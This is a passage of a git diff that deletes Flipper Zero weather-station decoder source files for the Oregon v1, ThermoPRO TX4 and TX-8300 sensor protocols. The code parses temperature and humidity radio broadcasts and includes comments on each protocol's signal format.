temp_raw; - } else { - instance->temp = -temp_raw; - } - - instance->battery_low = !((instance->data >> 23) & 1ULL); - - instance->btn = WS_NO_BTN; - instance->humidity = WS_NO_HUMIDITY; -} - -void ws_protocol_decoder_oregon_v1_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderOregon_V1* instance = context; - ManchesterEvent event = ManchesterEventReset; - switch(instance->decoder.parser_step) { - case Oregon_V1DecoderStepReset: - if((level) && (DURATION_DIFF(duration, ws_protocol_oregon_v1_const.te_short) < - ws_protocol_oregon_v1_const.te_delta)) { - instance->decoder.parser_step = Oregon_V1DecoderStepFoundPreamble; - instance->decoder.te_last = duration; - instance->header_count = 0; - } - break; - case Oregon_V1DecoderStepFoundPreamble: - if(level) { - //keep high levels, if they suit our durations - if((DURATION_DIFF(duration, ws_protocol_oregon_v1_const.te_short) < - ws_protocol_oregon_v1_const.te_delta) || - (DURATION_DIFF(duration, ws_protocol_oregon_v1_const.te_short * 4) < - ws_protocol_oregon_v1_const.te_delta)) { - instance->decoder.te_last = duration; - } else { - instance->decoder.parser_step = Oregon_V1DecoderStepReset; - } - } else if( - //checking low levels - (DURATION_DIFF(duration, ws_protocol_oregon_v1_const.te_short) < - ws_protocol_oregon_v1_const.te_delta) && - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_oregon_v1_const.te_short) < - ws_protocol_oregon_v1_const.te_delta)) { - // Found header - instance->header_count++; - } else if( - (DURATION_DIFF(duration, ws_protocol_oregon_v1_const.te_short * 3) < - ws_protocol_oregon_v1_const.te_delta) && - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_oregon_v1_const.te_short) < - ws_protocol_oregon_v1_const.te_delta)) { - // check header - if(instance->header_count > 7) { - instance->header_count = OREGON_V1_HEADER_OK; - } - } else if( - (instance->header_count == OREGON_V1_HEADER_OK) && - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_oregon_v1_const.te_short * 4) < - ws_protocol_oregon_v1_const.te_delta)) { - //found all the necessary patterns - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 1; - manchester_advance( - instance->manchester_state, - ManchesterEventReset, - &instance->manchester_state, - NULL); - instance->decoder.parser_step = Oregon_V1DecoderStepParse; - if(duration < ws_protocol_oregon_v1_const.te_short * 4) { - instance->first_bit = 1; - } else { - instance->first_bit = 0; - } - } else { - instance->decoder.parser_step = Oregon_V1DecoderStepReset; - } - break; - case Oregon_V1DecoderStepParse: - if(level) { - if(DURATION_DIFF(duration, ws_protocol_oregon_v1_const.te_short) < - ws_protocol_oregon_v1_const.te_delta) { - event = ManchesterEventShortHigh; - } else if( - DURATION_DIFF(duration, ws_protocol_oregon_v1_const.te_long) < - ws_protocol_oregon_v1_const.te_delta) { - event = ManchesterEventLongHigh; - } else { - instance->decoder.parser_step = Oregon_V1DecoderStepReset; - } - } else { - if(DURATION_DIFF(duration, ws_protocol_oregon_v1_const.te_short) < - ws_protocol_oregon_v1_const.te_delta) { - event = ManchesterEventShortLow; - } else if( - DURATION_DIFF(duration, ws_protocol_oregon_v1_const.te_long) < - ws_protocol_oregon_v1_const.te_delta) { - event = ManchesterEventLongLow; - } else if(duration >= ((uint32_t)ws_protocol_oregon_v1_const.te_long * 2)) { - if(instance->decoder.decode_count_bit == - ws_protocol_oregon_v1_const.min_count_bit_for_found) { - if(instance->first_bit) { - instance->decoder.decode_data = ~instance->decoder.decode_data | (1 << 31); - } - if(ws_protocol_oregon_v1_check(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_oregon_v1_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - manchester_advance( - instance->manchester_state, - ManchesterEventReset, - &instance->manchester_state, - NULL); - } else { - instance->decoder.parser_step = Oregon_V1DecoderStepReset; - } - } - if(event != ManchesterEventReset) { - bool data; - bool data_ok = manchester_advance( - instance->manchester_state, event, &instance->manchester_state, &data); - - if(data_ok) { - instance->decoder.decode_data = (instance->decoder.decode_data << 1) | !data; - instance->decoder.decode_count_bit++; - } - } - - break; - } -} - -uint8_t ws_protocol_decoder_oregon_v1_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderOregon_V1* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_oregon_v1_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderOregon_V1* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_oregon_v1_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderOregon_V1* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, flipper_format, ws_protocol_oregon_v1_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_oregon_v1_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderOregon_V1* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/oregon_v1.h b/applications/external/weather_station/protocols/oregon_v1.h deleted file mode 100644 index 48937601d..000000000 --- a/applications/external/weather_station/protocols/oregon_v1.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_OREGON_V1_NAME "Oregon-v1" - -typedef struct WSProtocolDecoderOregon_V1 WSProtocolDecoderOregon_V1; -typedef struct WSProtocolEncoderOregon_V1 WSProtocolEncoderOregon_V1; - -extern const SubGhzProtocolDecoder ws_protocol_oregon_v1_decoder; -extern const SubGhzProtocolEncoder ws_protocol_oregon_v1_encoder; -extern const SubGhzProtocol ws_protocol_oregon_v1; - -/** - * Allocate WSProtocolDecoderOregon_V1. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderOregon_V1* pointer to a WSProtocolDecoderOregon_V1 instance - */ -void* ws_protocol_decoder_oregon_v1_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderOregon_V1. - * @param context Pointer to a WSProtocolDecoderOregon_V1 instance - */ -void ws_protocol_decoder_oregon_v1_free(void* context); - -/** - * Reset decoder WSProtocolDecoderOregon_V1. - * @param context Pointer to a WSProtocolDecoderOregon_V1 instance - */ -void ws_protocol_decoder_oregon_v1_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderOregon_V1 instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_oregon_v1_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderOregon_V1 instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_oregon_v1_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderOregon_V1. - * @param context Pointer to a WSProtocolDecoderOregon_V1 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_oregon_v1_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderOregon_V1. - * @param context Pointer to a WSProtocolDecoderOregon_V1 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_oregon_v1_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderOregon_V1 instance - * @param output Resulting text - */ -void ws_protocol_decoder_oregon_v1_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/protocol_items.c b/applications/external/weather_station/protocols/protocol_items.c deleted file mode 100644 index 93dc25488..000000000 --- a/applications/external/weather_station/protocols/protocol_items.c +++ /dev/null @@ -1,25 +0,0 @@ -#include "protocol_items.h" - -const SubGhzProtocol* weather_station_protocol_registry_items[] = { - &ws_protocol_infactory, - &ws_protocol_thermopro_tx4, - &ws_protocol_nexus_th, - &ws_protocol_gt_wt_02, - &ws_protocol_gt_wt_03, - &ws_protocol_acurite_606tx, - &ws_protocol_acurite_609txc, - &ws_protocol_lacrosse_tx, - &ws_protocol_lacrosse_tx141thbv2, - &ws_protocol_oregon2, - &ws_protocol_oregon3, - &ws_protocol_acurite_592txr, - &ws_protocol_ambient_weather, - &ws_protocol_auriol_th, - &ws_protocol_oregon_v1, - &ws_protocol_tx_8300, - &ws_protocol_wendox_w6726, -}; - -const SubGhzProtocolRegistry weather_station_protocol_registry = { - .items = weather_station_protocol_registry_items, - .size = COUNT_OF(weather_station_protocol_registry_items)}; diff --git a/applications/external/weather_station/protocols/protocol_items.h b/applications/external/weather_station/protocols/protocol_items.h deleted file mode 100644 index 712eb07f2..000000000 --- a/applications/external/weather_station/protocols/protocol_items.h +++ /dev/null @@ -1,22 +0,0 @@ -#pragma once -#include "../weather_station_app_i.h" - -#include "infactory.h" -#include "thermopro_tx4.h" -#include "nexus_th.h" -#include "gt_wt_02.h" -#include "gt_wt_03.h" -#include "acurite_606tx.h" -#include "acurite_609txc.h" -#include "lacrosse_tx.h" -#include "lacrosse_tx141thbv2.h" -#include "oregon2.h" -#include "oregon3.h" -#include "acurite_592txr.h" -#include "ambient_weather.h" -#include "auriol_hg0601a.h" -#include "oregon_v1.h" -#include "tx_8300.h" -#include "wendox_w6726.h" - -extern const SubGhzProtocolRegistry weather_station_protocol_registry; diff --git a/applications/external/weather_station/protocols/thermopro_tx4.c b/applications/external/weather_station/protocols/thermopro_tx4.c deleted file mode 100644 index 24e883e60..000000000 --- a/applications/external/weather_station/protocols/thermopro_tx4.c +++ /dev/null @@ -1,251 +0,0 @@ -#include "thermopro_tx4.h" - -#define TAG "WSProtocolThermoPRO_TX4" - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/master/src/devices/thermopro_tx2.c - * - * The sensor sends 37 bits 6 times, before the first packet there is a sync pulse. - * The packets are ppm modulated (distance coding) with a pulse of ~500 us - * followed by a short gap of ~2000 us for a 0 bit or a long ~4000 us gap for a - * 1 bit, the sync gap is ~9000 us. - * The data is grouped in 9 nibbles - * [type] [id0] [id1] [flags] [temp0] [temp1] [temp2] [humi0] [humi1] - * - type: 4 bit fixed 1001 (9) or 0110 (5) - * - id: 8 bit a random id that is generated when the sensor starts, could include battery status - * the same batteries often generate the same id - * - flags(3): is 1 when the battery is low, otherwise 0 (ok) - * - flags(2): is 1 when the sensor sends a reading when pressing the button on the sensor - * - flags(1,0): the channel number that can be set by the sensor (1, 2, 3, X) - * - temp: 12 bit signed scaled by 10 - * - humi: 8 bit always 11001100 (0xCC) if no humidity sensor is available - * - */ - -#define THERMO_PRO_TX4_TYPE_1 0b1001 -#define THERMO_PRO_TX4_TYPE_2 0b0110 - -static const SubGhzBlockConst ws_protocol_thermopro_tx4_const = { - .te_short = 500, - .te_long = 2000, - .te_delta = 150, - .min_count_bit_for_found = 37, -}; - -struct WSProtocolDecoderThermoPRO_TX4 { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; -}; - -struct WSProtocolEncoderThermoPRO_TX4 { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - ThermoPRO_TX4DecoderStepReset = 0, - ThermoPRO_TX4DecoderStepSaveDuration, - ThermoPRO_TX4DecoderStepCheckDuration, -} ThermoPRO_TX4DecoderStep; - -const SubGhzProtocolDecoder ws_protocol_thermopro_tx4_decoder = { - .alloc = ws_protocol_decoder_thermopro_tx4_alloc, - .free = ws_protocol_decoder_thermopro_tx4_free, - - .feed = ws_protocol_decoder_thermopro_tx4_feed, - .reset = ws_protocol_decoder_thermopro_tx4_reset, - - .get_hash_data = ws_protocol_decoder_thermopro_tx4_get_hash_data, - .serialize = ws_protocol_decoder_thermopro_tx4_serialize, - .deserialize = ws_protocol_decoder_thermopro_tx4_deserialize, - .get_string = ws_protocol_decoder_thermopro_tx4_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_thermopro_tx4_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_thermopro_tx4 = { - .name = WS_PROTOCOL_THERMOPRO_TX4_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_thermopro_tx4_decoder, - .encoder = &ws_protocol_thermopro_tx4_encoder, -}; - -void* ws_protocol_decoder_thermopro_tx4_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderThermoPRO_TX4* instance = malloc(sizeof(WSProtocolDecoderThermoPRO_TX4)); - instance->base.protocol = &ws_protocol_thermopro_tx4; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_thermopro_tx4_free(void* context) { - furi_assert(context); - WSProtocolDecoderThermoPRO_TX4* instance = context; - free(instance); -} - -void ws_protocol_decoder_thermopro_tx4_reset(void* context) { - furi_assert(context); - WSProtocolDecoderThermoPRO_TX4* instance = context; - instance->decoder.parser_step = ThermoPRO_TX4DecoderStepReset; -} - -static bool ws_protocol_thermopro_tx4_check(WSProtocolDecoderThermoPRO_TX4* instance) { - uint8_t type = instance->decoder.decode_data >> 33; - - if((type == THERMO_PRO_TX4_TYPE_1) || (type == THERMO_PRO_TX4_TYPE_2)) { - return true; - } else { - return false; - } -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_thermopro_tx4_remote_controller(WSBlockGeneric* instance) { - instance->id = (instance->data >> 25) & 0xFF; - instance->battery_low = (instance->data >> 24) & 1; - instance->btn = (instance->data >> 23) & 1; - instance->channel = ((instance->data >> 21) & 0x03) + 1; - - if(!((instance->data >> 20) & 1)) { - instance->temp = (float)((instance->data >> 9) & 0x07FF) / 10.0f; - } else { - instance->temp = (float)((~(instance->data >> 9) & 0x07FF) + 1) / -10.0f; - } - - instance->humidity = (instance->data >> 1) & 0xFF; -} - -void ws_protocol_decoder_thermopro_tx4_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderThermoPRO_TX4* instance = context; - - switch(instance->decoder.parser_step) { - case ThermoPRO_TX4DecoderStepReset: - if((!level) && (DURATION_DIFF(duration, ws_protocol_thermopro_tx4_const.te_short * 18) < - ws_protocol_thermopro_tx4_const.te_delta * 10)) { - //Found sync - instance->decoder.parser_step = ThermoPRO_TX4DecoderStepSaveDuration; - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - } - break; - - case ThermoPRO_TX4DecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = ThermoPRO_TX4DecoderStepCheckDuration; - } else { - instance->decoder.parser_step = ThermoPRO_TX4DecoderStepReset; - } - break; - - case ThermoPRO_TX4DecoderStepCheckDuration: - if(!level) { - if(DURATION_DIFF(duration, ws_protocol_thermopro_tx4_const.te_short * 18) < - ws_protocol_thermopro_tx4_const.te_delta * 10) { - //Found sync - instance->decoder.parser_step = ThermoPRO_TX4DecoderStepReset; - if((instance->decoder.decode_count_bit == - ws_protocol_thermopro_tx4_const.min_count_bit_for_found) && - ws_protocol_thermopro_tx4_check(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_thermopro_tx4_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - instance->decoder.parser_step = ThermoPRO_TX4DecoderStepCheckDuration; - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - - break; - } else if( - (DURATION_DIFF( - instance->decoder.te_last, ws_protocol_thermopro_tx4_const.te_short) < - ws_protocol_thermopro_tx4_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_thermopro_tx4_const.te_long) < - ws_protocol_thermopro_tx4_const.te_delta * 2)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = ThermoPRO_TX4DecoderStepSaveDuration; - } else if( - (DURATION_DIFF( - instance->decoder.te_last, ws_protocol_thermopro_tx4_const.te_short) < - ws_protocol_thermopro_tx4_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_thermopro_tx4_const.te_long * 2) < - ws_protocol_thermopro_tx4_const.te_delta * 4)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = ThermoPRO_TX4DecoderStepSaveDuration; - } else { - instance->decoder.parser_step = ThermoPRO_TX4DecoderStepReset; - } - } else { - instance->decoder.parser_step = ThermoPRO_TX4DecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_thermopro_tx4_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderThermoPRO_TX4* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_thermopro_tx4_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderThermoPRO_TX4* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_thermopro_tx4_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderThermoPRO_TX4* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, - flipper_format, - ws_protocol_thermopro_tx4_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_thermopro_tx4_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderThermoPRO_TX4* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/thermopro_tx4.h b/applications/external/weather_station/protocols/thermopro_tx4.h deleted file mode 100644 index 526648d1e..000000000 --- a/applications/external/weather_station/protocols/thermopro_tx4.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_THERMOPRO_TX4_NAME "ThermoPRO-TX4" - -typedef struct WSProtocolDecoderThermoPRO_TX4 WSProtocolDecoderThermoPRO_TX4; -typedef struct WSProtocolEncoderThermoPRO_TX4 WSProtocolEncoderThermoPRO_TX4; - -extern const SubGhzProtocolDecoder ws_protocol_thermopro_tx4_decoder; -extern const SubGhzProtocolEncoder ws_protocol_thermopro_tx4_encoder; -extern const SubGhzProtocol ws_protocol_thermopro_tx4; - -/** - * Allocate WSProtocolDecoderThermoPRO_TX4. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderThermoPRO_TX4* pointer to a WSProtocolDecoderThermoPRO_TX4 instance - */ -void* ws_protocol_decoder_thermopro_tx4_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderThermoPRO_TX4. - * @param context Pointer to a WSProtocolDecoderThermoPRO_TX4 instance - */ -void ws_protocol_decoder_thermopro_tx4_free(void* context); - -/** - * Reset decoder WSProtocolDecoderThermoPRO_TX4. - * @param context Pointer to a WSProtocolDecoderThermoPRO_TX4 instance - */ -void ws_protocol_decoder_thermopro_tx4_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderThermoPRO_TX4 instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_thermopro_tx4_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderThermoPRO_TX4 instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_thermopro_tx4_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderThermoPRO_TX4. - * @param context Pointer to a WSProtocolDecoderThermoPRO_TX4 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_thermopro_tx4_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderThermoPRO_TX4. - * @param context Pointer to a WSProtocolDecoderThermoPRO_TX4 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_thermopro_tx4_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderThermoPRO_TX4 instance - * @param output Resulting text - */ -void ws_protocol_decoder_thermopro_tx4_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/tx_8300.c b/applications/external/weather_station/protocols/tx_8300.c deleted file mode 100644 index 3a06ce49d..000000000 --- a/applications/external/weather_station/protocols/tx_8300.c +++ /dev/null @@ -1,284 +0,0 @@ -#include "tx_8300.h" - -#define TAG "WSProtocolTX_8300" - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/master/src/devices/ambientweather_tx8300.c - * - * Ambient Weather TX-8300 (also sold as TFA 30.3211.02). - * 1970us pulse with variable gap (third pulse 3920 us). - * Above 79% humidity, gap after third pulse is 5848 us. - * - Bit 1 : 1970us pulse with 3888 us gap - * - Bit 0 : 1970us pulse with 1936 us gap - * 74 bit (2 bit preamble and 72 bit data => 9 bytes => 18 nibbles) - * The preamble seems to be a repeat counter (00, and 01 seen), - * the first 4 bytes are data, - * the second 4 bytes the same data inverted, - * the last byte is a checksum. - * Preamble format (2 bits): - * [1 bit (0)] [1 bit rolling count] - * Payload format (32 bits): - * HHHHhhhh ??CCNIII IIIITTTT ttttuuuu - * - H = First BCD digit humidity (the MSB might be distorted by the demod) - * - h = Second BCD digit humidity, invalid humidity seems to be 0x0e - * - ? = Likely battery flag, 2 bits - * - C = Channel, 2 bits - * - N = Negative temperature sign bit - * - I = ID, 7-bit - * - T = First BCD digit temperature - * - t = Second BCD digit temperature - * - u = Third BCD digit temperature - * The Checksum seems to covers the 4 data bytes and is something like Fletcher-8. - **/ - -#define TX_8300_PACKAGE_SIZE 32 - -static const SubGhzBlockConst ws_protocol_tx_8300_const = { - .te_short = 1940, - .te_long = 3880, - .te_delta = 250, - .min_count_bit_for_found = 72, -}; - -struct WSProtocolDecoderTX_8300 { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; - uint32_t package_1; - uint32_t package_2; -}; - -struct WSProtocolEncoderTX_8300 { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - TX_8300DecoderStepReset = 0, - TX_8300DecoderStepCheckPreambule, - TX_8300DecoderStepSaveDuration, - TX_8300DecoderStepCheckDuration, -} TX_8300DecoderStep; - -const SubGhzProtocolDecoder ws_protocol_tx_8300_decoder = { - .alloc = ws_protocol_decoder_tx_8300_alloc, - .free = ws_protocol_decoder_tx_8300_free, - - .feed = ws_protocol_decoder_tx_8300_feed, - .reset = ws_protocol_decoder_tx_8300_reset, - - .get_hash_data = ws_protocol_decoder_tx_8300_get_hash_data, - .serialize = ws_protocol_decoder_tx_8300_serialize, - .deserialize = ws_protocol_decoder_tx_8300_deserialize, - .get_string = ws_protocol_decoder_tx_8300_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_tx_8300_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_tx_8300 = { - .name = WS_PROTOCOL_TX_8300_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_tx_8300_decoder, - .encoder = &ws_protocol_tx_8300_encoder, -}; - -void* ws_protocol_decoder_tx_8300_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderTX_8300* instance = malloc(sizeof(WSProtocolDecoderTX_8300)); - instance->base.protocol = &ws_protocol_tx_8300; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_tx_8300_free(void* context) { - furi_assert(context); - WSProtocolDecoderTX_8300* instance = context; - free(instance); -} - -void ws_protocol_decoder_tx_8300_reset(void* context) { - furi_assert(context); - WSProtocolDecoderTX_8300* instance = context; - instance->decoder.parser_step = TX_8300DecoderStepReset; -} - -static bool ws_protocol_tx_8300_check_crc(WSProtocolDecoderTX_8300* instance) { - if(!instance->package_2) return false; - if(instance->package_1 != ~instance->package_2) return false; - - uint16_t x = 0; - uint16_t y = 0; - for(int i = 0; i < 32; i += 4) { - x += (instance->package_1 >> i) & 0x0F; - y += (instance->package_1 >> i) & 0x05; - } - uint8_t crc = (~x & 0xF) << 4 | (~y & 0xF); - return (crc == ((instance->decoder.decode_data) & 0xFF)); -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_tx_8300_remote_controller(WSBlockGeneric* instance) { - instance->humidity = (((instance->data >> 28) & 0x0F) * 10) + ((instance->data >> 24) & 0x0F); - instance->btn = WS_NO_BTN; - if(!((instance->data >> 22) & 0x03)) - instance->battery_low = 0; - else - instance->battery_low = 1; - instance->channel = (instance->data >> 20) & 0x03; - instance->id = (instance->data >> 12) & 0x7F; - - float temp_raw = ((instance->data >> 8) & 0x0F) * 10.0f + ((instance->data >> 4) & 0x0F) + - (instance->data & 0x0F) * 0.1f; - if(!((instance->data >> 19) & 1)) { - instance->temp = temp_raw; - } else { - instance->temp = -temp_raw; - } -} - -void ws_protocol_decoder_tx_8300_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderTX_8300* instance = context; - - switch(instance->decoder.parser_step) { - case TX_8300DecoderStepReset: - if((level) && (DURATION_DIFF(duration, ws_protocol_tx_8300_const.te_short * 2) < - ws_protocol_tx_8300_const.te_delta)) { - instance->decoder.parser_step = TX_8300DecoderStepCheckPreambule; - } - break; - - case TX_8300DecoderStepCheckPreambule: - if((!level) && ((DURATION_DIFF(duration, ws_protocol_tx_8300_const.te_short * 2) < - ws_protocol_tx_8300_const.te_delta) || - (DURATION_DIFF(duration, ws_protocol_tx_8300_const.te_short * 3) < - ws_protocol_tx_8300_const.te_delta))) { - instance->decoder.parser_step = TX_8300DecoderStepSaveDuration; - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 1; - instance->package_1 = 0; - instance->package_2 = 0; - } else { - instance->decoder.parser_step = TX_8300DecoderStepReset; - } - break; - - case TX_8300DecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = TX_8300DecoderStepCheckDuration; - } else { - instance->decoder.parser_step = TX_8300DecoderStepReset; - } - break; - - case TX_8300DecoderStepCheckDuration: - if(!level) { - if(duration >= ((uint32_t)ws_protocol_tx_8300_const.te_short * 5)) { - //Found syncPostfix - if((instance->decoder.decode_count_bit == - ws_protocol_tx_8300_const.min_count_bit_for_found) && - ws_protocol_tx_8300_check_crc(instance)) { - instance->generic.data = instance->package_1; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_tx_8300_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 1; - instance->decoder.parser_step = TX_8300DecoderStepReset; - break; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_tx_8300_const.te_short) < - ws_protocol_tx_8300_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_tx_8300_const.te_long) < - ws_protocol_tx_8300_const.te_delta * 2)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = TX_8300DecoderStepSaveDuration; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_tx_8300_const.te_short) < - ws_protocol_tx_8300_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_tx_8300_const.te_short) < - ws_protocol_tx_8300_const.te_delta)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = TX_8300DecoderStepSaveDuration; - } else { - instance->decoder.parser_step = TX_8300DecoderStepReset; - } - - if(instance->decoder.decode_count_bit == TX_8300_PACKAGE_SIZE) { - instance->package_1 = instance->decoder.decode_data; - instance->decoder.decode_data = 0; - } else if(instance->decoder.decode_count_bit == TX_8300_PACKAGE_SIZE * 2) { - instance->package_2 = 